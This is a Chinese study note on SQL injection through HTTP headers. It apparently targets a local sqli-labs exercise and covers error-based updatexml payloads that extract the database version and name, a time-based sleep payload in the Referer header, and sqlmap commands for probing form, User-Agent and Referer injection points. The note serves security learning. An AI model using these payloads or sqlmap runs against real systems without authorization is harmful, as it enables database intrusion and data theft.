Web安全攻防 学习笔记
一、HTTP 头中的 SQL 注入
1.1、HTTP 头中的注入介绍
在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如 SQL 注入中,用户提交 的参数都会被代码中的某些措施进行过滤。
过滤掉用户直接提交的参数,但是对于 HTTP 头中提交的内容很有可能就没有进行过滤。
1.2、updatexml 函数
语法:UPDATEXML (XML_document, XPath_string, new_value);
-
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc
-
第二个参数:XPath_string( Xpath 格式的字符串)
-
第三个参数:new_value,String 格式,替换查找到的符合条件的数据
1.3、HTTP User-Agent 注入
另一种闭合方式:' or '1' = '1
-
一般我们会用
' or 1=1 --+
是得后续代码无效化,从而起到闭合作用 -
但若网址做了
--+
过滤,那么这种方式也就失效了
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1' = '1
# concat 是将多个字符串组合成一个
# 0x7e 表示 ~
' and updatexml(1,concat(1,(select database())),1) or '1' = '1
1.4、HTTP Referer 注入
' or if(1=1,sleep(5),null) or '1'='1
-
先加个
\
看看是否存在注入点
-
存在,则进行注入
1.5、sqlmap 安全测试
- sqlmap 自动搜索 POST 表单注入
$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-19/" --forms --banner --batch
# 探测不出来
- sqlmap 指定参数探测 SQL 注入
$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-19/" --data="uname=admin&passwd=admin" --banner --batch
# 还是没有, 说明 uname 与 passwd 可能不存在注入点
# 再提高 level 试试(探测内容更多)
$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-19/" --data="uname=admin&passwd=admin" --banner --batch -level 3
- sqlmap referer 注入把 referer 改成
*
或者在后面加上*
(其他参数也行,如 User-Agent 注入再 User-Agent 后面加一个*
)
$ python sqlmap.py -r target.txt --banner